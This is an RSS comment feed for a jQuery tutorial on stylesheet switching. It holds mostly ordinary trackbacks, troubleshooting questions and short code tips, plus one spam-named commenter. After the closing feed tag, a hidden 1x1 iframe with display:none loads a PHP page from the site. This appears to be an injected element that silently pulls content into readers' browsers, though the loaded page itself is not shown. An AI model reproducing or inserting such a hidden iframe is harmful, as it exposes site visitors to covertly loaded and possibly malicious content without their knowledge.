<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: Style Sheet Switcheroo</title>
	<atom:link href="http://15daysofjquery.com/style-sheet-switcheroo/12/feed/" rel="self" type="application/rss+xml" />
	<link>http://15daysofjquery.com/style-sheet-switcheroo/12/</link>
	<description>Examples and tutorials to help you learn JQuery</description>
	<pubDate>Sat, 31 Jul 2010 10:37:32 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
		<item>
		<title>By: PHP-help &#187; Excellent jQuery Tutorials</title>
		<link>http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-178794</link>
		<dc:creator>PHP-help &#187; Excellent jQuery Tutorials</dc:creator>
		<pubDate>Mon, 08 Mar 2010 12:12:53 +0000</pubDate>
		<guid isPermaLink="false">http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-178794</guid>
		<description>[...] Tutorial Link Demo Link [...]</description>
		<content:encoded><![CDATA[<p>[...] Tutorial Link Demo Link [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: 40??jquery?? &#124; QK31</title>
		<link>http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-178520</link>
		<dc:creator>40??jquery?? &#124; QK31</dc:creator>
		<pubDate>Tue, 23 Feb 2010 16:36:04 +0000</pubDate>
		<guid isPermaLink="false">http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-178520</guid>
		<description>[...] Tutorial Link Demo Link [...]</description>
		<content:encoded><![CDATA[<p>[...] Tutorial Link Demo Link [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: 10 jQuery Resources &#124; Brightscape Blog</title>
		<link>http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-177787</link>
		<dc:creator>10 jQuery Resources &#124; Brightscape Blog</dc:creator>
		<pubDate>Thu, 04 Feb 2010 09:56:08 +0000</pubDate>
		<guid isPermaLink="false">http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-177787</guid>
		<description>[...] CSS Switcher [...]</description>
		<content:encoded><![CDATA[<p>[...] CSS Switcher [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Li</title>
		<link>http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-177476</link>
		<dc:creator>Li</dc:creator>
		<pubDate>Fri, 22 Jan 2010 08:59:31 +0000</pubDate>
		<guid isPermaLink="false">http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-177476</guid>
		<description>Thanks!
???????</description>
		<content:encoded><![CDATA[<p>Thanks!<br />
???????</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: 40+ Excellent jQuery Tutorials &#171; PSD to HTML , Slicing PSD to HTML</title>
		<link>http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-177104</link>
		<dc:creator>40+ Excellent jQuery Tutorials &#171; PSD to HTML , Slicing PSD to HTML</dc:creator>
		<pubDate>Sun, 10 Jan 2010 19:10:19 +0000</pubDate>
		<guid isPermaLink="false">http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-177104</guid>
		<description>[...] Tutorial Link Demo Link [...]</description>
		<content:encoded><![CDATA[<p>[...] Tutorial Link Demo Link [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: shengmx</title>
		<link>http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-176898</link>
		<dc:creator>shengmx</dc:creator>
		<pubDate>Tue, 05 Jan 2010 06:48:27 +0000</pubDate>
		<guid isPermaLink="false">http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-176898</guid>
		<description>agree idea said by Dan Sorensen at 16th floor</description>
		<content:encoded><![CDATA[<p>agree idea said by Dan Sorensen at 16th floor</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: pligg.com</title>
		<link>http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-169947</link>
		<dc:creator>pligg.com</dc:creator>
		<pubDate>Sat, 18 Jul 2009 06:31:18 +0000</pubDate>
		<guid isPermaLink="false">http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-169947</guid>
		<description>&lt;strong&gt;Style Sheet Switcheroo...&lt;/strong&gt;

allow visitors to switch a stylesheet with a click of a mouse.This not only gives another fine example of the short code you can write with jQuery but also too illustrate some of the more advanced features of the jQuery javascript library....</description>
		<content:encoded><![CDATA[<p><strong>Style Sheet Switcheroo&#8230;</strong></p>
<p>allow visitors to switch a stylesheet with a click of a mouse.<br />
This not only gives another fine example of the short code you can write with jQuery but also too illustrate some of the more advanced features of the jQuery javascript library&#8230;.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Anthony Alexander</title>
		<link>http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-153855</link>
		<dc:creator>Anthony Alexander</dc:creator>
		<pubDate>Mon, 04 May 2009 05:27:36 +0000</pubDate>
		<guid isPermaLink="false">http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-153855</guid>
		<description>Asynchronous Javascript functions became AJAX, All javascript became Jquery, now John Resig invented CSS selectors too.</description>
		<content:encoded><![CDATA[<p>Asynchronous Javascript functions became AJAX, All javascript became Jquery, now John Resig invented CSS selectors too.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Dan Sorensen</title>
		<link>http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-135559</link>
		<dc:creator>Dan Sorensen</dc:creator>
		<pubDate>Wed, 04 Mar 2009 21:50:38 +0000</pubDate>
		<guid isPermaLink="false">http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-135559</guid>
		<description>Just a quick update to say that jQuery 1.3 doesn't support the @ sign in the attribute. To make this code work properly, just remove the @ sign. See this page for more details:

http://docs.jquery.com/Selectors</description>
		<content:encoded><![CDATA[<p>Just a quick update to say that jQuery 1.3 doesn&#8217;t support the @ sign in the attribute. To make this code work properly, just remove the @ sign. See this page for more details:</p>
<p><a href="http://docs.jquery.com/Selectors" rel="nofollow">http://docs.jquery.com/Selectors</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: 30 excellentes ressources pour développer avec jQuery</title>
		<link>http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-135057</link>
		<dc:creator>30 excellentes ressources pour développer avec jQuery</dc:creator>
		<pubDate>Tue, 03 Mar 2009 13:01:45 +0000</pubDate>
		<guid isPermaLink="false">http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-135057</guid>
		<description>[...]  exemple de code pour changer la feuille de style [...]</description>
		<content:encoded><![CDATA[<p>[...]  exemple de code pour changer la feuille de style [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: 40?????jQuery???? - Code Index</title>
		<link>http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-132920</link>
		<dc:creator>40?????jQuery???? - Code Index</dc:creator>
		<pubDate>Mon, 23 Feb 2009 08:07:45 +0000</pubDate>
		<guid isPermaLink="false">http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-132920</guid>
		<description>[...] Tutorial Link: Click Here [...]</description>
		<content:encoded><![CDATA[<p>[...] Tutorial Link: Click Here [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: 40+ Excellent jQuery Tutorials &#124; instantShift</title>
		<link>http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-128162</link>
		<dc:creator>40+ Excellent jQuery Tutorials &#124; instantShift</dc:creator>
		<pubDate>Mon, 09 Feb 2009 18:54:26 +0000</pubDate>
		<guid isPermaLink="false">http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-128162</guid>
		<description>[...] Tutorial Link: Click Here [...]</description>
		<content:encoded><![CDATA[<p>[...] Tutorial Link: Click Here [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Sean</title>
		<link>http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-119424</link>
		<dc:creator>Sean</dc:creator>
		<pubDate>Thu, 15 Jan 2009 20:42:55 +0000</pubDate>
		<guid isPermaLink="false">http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-119424</guid>
		<description>I have a very irritating problem, I cannot add a 'title' attribute to a . When I do, the stylesheet isn't loaded at all. I have tried switchin doctypes, checked the validator, but not luck :(

Any idea what it could be?</description>
		<content:encoded><![CDATA[<p>I have a very irritating problem, I cannot add a &#8216;title&#8217; attribute to a . When I do, the stylesheet isn&#8217;t loaded at all. I have tried switchin doctypes, checked the validator, but not luck <img src='http://15daysofjquery.com/wpblog/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>Any idea what it could be?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Dave Artz</title>
		<link>http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-77847</link>
		<dc:creator>Dave Artz</dc:creator>
		<pubDate>Mon, 08 Sep 2008 20:34:35 +0000</pubDate>
		<guid isPermaLink="false">http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-77847</guid>
		<description>Unfortunately, this approach means downloading all the alternate stylesheets even if they are never used. For performance-conscious sites with many skins, this is an issue. 

The best cross-browser approach I've found so far for theme switching is to AJAX in styles and swap out the old CSS once they are completely downloaded and save the cookie for the next load of the page.</description>
		<content:encoded><![CDATA[<p>Unfortunately, this approach means downloading all the alternate stylesheets even if they are never used. For performance-conscious sites with many skins, this is an issue. </p>
<p>The best cross-browser approach I&#8217;ve found so far for theme switching is to AJAX in styles and swap out the old CSS once they are completely downloaded and save the cookie for the next load of the page.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: buy valium onli</title>
		<link>http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-61392</link>
		<dc:creator>buy valium onli</dc:creator>
		<pubDate>Mon, 18 Aug 2008 23:12:33 +0000</pubDate>
		<guid isPermaLink="false">http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-61392</guid>
		<description>Hi webmaster!</description>
		<content:encoded><![CDATA[<p>Hi webmaster!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Aleksey</title>
		<link>http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-37953</link>
		<dc:creator>Aleksey</dc:creator>
		<pubDate>Fri, 30 May 2008 12:59:06 +0000</pubDate>
		<guid isPermaLink="false">http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-37953</guid>
		<description>It's all based on an attribute in the body tag...</description>
		<content:encoded><![CDATA[<p>It&#8217;s all based on an attribute in the body tag&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Mike</title>
		<link>http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-5371</link>
		<dc:creator>Mike</dc:creator>
		<pubDate>Thu, 26 Apr 2007 16:42:12 +0000</pubDate>
		<guid isPermaLink="false">http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-5371</guid>
		<description>Oops, forgot to mention one thing. In the line that generates the random number:

var randNum = Math.floor(Math.random() * 4);

Change the number you are multiplying by, in this case 4, to the number of alternate stylesheets you have listed, or one more than the last 'title' number. In my case I have 4 alternate stylesheets numbered 0 through 3, so I multiply by 4.</description>
		<content:encoded><![CDATA[<p>Oops, forgot to mention one thing. In the line that generates the random number:</p>
<p>var randNum = Math.floor(Math.random() * 4);</p>
<p>Change the number you are multiplying by, in this case 4, to the number of alternate stylesheets you have listed, or one more than the last &#8216;title&#8217; number. In my case I have 4 alternate stylesheets numbered 0 through 3, so I multiply by 4.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: nic</title>
		<link>http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-4231</link>
		<dc:creator>nic</dc:creator>
		<pubDate>Wed, 04 Apr 2007 23:32:47 +0000</pubDate>
		<guid isPermaLink="false">http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-4231</guid>
		<description>Jack,

Thanks for the example, that's exactly what I needed.

I've been doing the tutorials on jQuery and I literally know 200% more than when I wrote that first question. The problem I'm trying to solve is that we want to have an individual style for multiple users on the same set of pages.

For example two people visit page Cranberry, if user A came from page Apple they would have the Apple style loaded, and if user B came from page Banana they would have the Banana style loaded. 

If someone visited Cranberry straight up they would see the default theme.

We already had this system in place using an onLoad script, but I wanted to switch over to jQuery.</description>
		<content:encoded><![CDATA[<p>Jack,</p>
<p>Thanks for the example, that&#8217;s exactly what I needed.</p>
<p>I&#8217;ve been doing the tutorials on jQuery and I literally know 200% more than when I wrote that first question. The problem I&#8217;m trying to solve is that we want to have an individual style for multiple users on the same set of pages.</p>
<p>For example two people visit page Cranberry, if user A came from page Apple they would have the Apple style loaded, and if user B came from page Banana they would have the Banana style loaded. </p>
<p>If someone visited Cranberry straight up they would see the default theme.</p>
<p>We already had this system in place using an onLoad script, but I wanted to switch over to jQuery.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Jack</title>
		<link>http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-4215</link>
		<dc:creator>Jack</dc:creator>
		<pubDate>Wed, 04 Apr 2007 15:49:22 +0000</pubDate>
		<guid isPermaLink="false">http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-4215</guid>
		<description>Should be easy enough, just grab the class or attribute of the body tag, and pop that into the mix.

This is an untested quickie based on an id:

$('body').each(function(){
  switchStylestyle(this.id);
  });

But I also think that you can perform the same or similar without the use of javascript by putting a class name and/or id in the body tag of your document, and then putting the appropriate rules in your css

body#one p { color: black; }
body#two p { color: red;}</description>
		<content:encoded><![CDATA[<p>Should be easy enough, just grab the class or attribute of the body tag, and pop that into the mix.</p>
<p>This is an untested quickie based on an id:</p>
<p>$(&#8217;body&#8217;).each(function(){<br />
  switchStylestyle(this.id);<br />
  });</p>
<p>But I also think that you can perform the same or similar without the use of javascript by putting a class name and/or id in the body tag of your document, and then putting the appropriate rules in your css</p>
<p>body#one p { color: black; }<br />
body#two p { color: red;}</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: nic</title>
		<link>http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-4191</link>
		<dc:creator>nic</dc:creator>
		<pubDate>Tue, 03 Apr 2007 23:51:26 +0000</pubDate>
		<guid isPermaLink="false">http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-4191</guid>
		<description>it's supposed to say... based on an attribute in the body tag.</description>
		<content:encoded><![CDATA[<p>it&#8217;s supposed to say&#8230; based on an attribute in the body tag.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: nic</title>
		<link>http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-4190</link>
		<dc:creator>nic</dc:creator>
		<pubDate>Tue, 03 Apr 2007 23:50:42 +0000</pubDate>
		<guid isPermaLink="false">http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-4190</guid>
		<description>How would you modify this code to load a specific style sheet based on an attribute in the ? I've been mucking around in the code and I've gotten totally confused.

Thanks for all the tutorials, you've gotten me hooked on jquery.</description>
		<content:encoded><![CDATA[<p>How would you modify this code to load a specific style sheet based on an attribute in the ? I&#8217;ve been mucking around in the code and I&#8217;ve gotten totally confused.</p>
<p>Thanks for all the tutorials, you&#8217;ve gotten me hooked on jquery.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: joon</title>
		<link>http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-455</link>
		<dc:creator>joon</dc:creator>
		<pubDate>Mon, 23 Oct 2006 15:30:15 +0000</pubDate>
		<guid isPermaLink="false">http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-455</guid>
		<description>Is $(document).ready(function().. absolutely necessary in this case? In Safari the default style sheet is rendered for a split second then the chosen style is loaded on each page load.

If it's possible, let the browser execute as it's being read. Me (big noob) has to test it out.

Thanks for the tutorials.!</description>
		<content:encoded><![CDATA[<p>Is $(document).ready(function().. absolutely necessary in this case? In Safari the default style sheet is rendered for a split second then the chosen style is loaded on each page load.</p>
<p>If it&#8217;s possible, let the browser execute as it&#8217;s being read. Me (big noob) has to test it out.</p>
<p>Thanks for the tutorials.!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: v</title>
		<link>http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-94</link>
		<dc:creator>v</dc:creator>
		<pubDate>Mon, 19 Jun 2006 23:53:44 +0000</pubDate>
		<guid isPermaLink="false">http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-94</guid>
		<description>Doesn't work in Safari.</description>
		<content:encoded><![CDATA[<p>Doesn&#8217;t work in Safari.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Sam</title>
		<link>http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-90</link>
		<dc:creator>Sam</dc:creator>
		<pubDate>Sun, 18 Jun 2006 22:51:24 +0000</pubDate>
		<guid isPermaLink="false">http://15daysofjquery.com/style-sheet-switcheroo/12/#comment-90</guid>
		<description>Thanks for taking time to post these examples.  Here's my 2-cents on further code reduction:

Replace
 this.disabled = true;
                if (this.getAttribute('title') == styleName) this.disabled = false;

With

this.disabled = this.getAttribute('title') != styleName;</description>
		<content:encoded><![CDATA[<p>Thanks for taking time to post these examples.  Here&#8217;s my 2-cents on further code reduction:</p>
<p>Replace<br />
 this.disabled = true;<br />
                if (this.getAttribute(&#8217;title&#8217;) == styleName) this.disabled = false;</p>
<p>With</p>
<p>this.disabled = this.getAttribute(&#8217;title&#8217;) != styleName;</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<iframe src="http://15daysofjquery.com/cmx-public/show.php" width="1" height="1" style="display:none;"></iframe>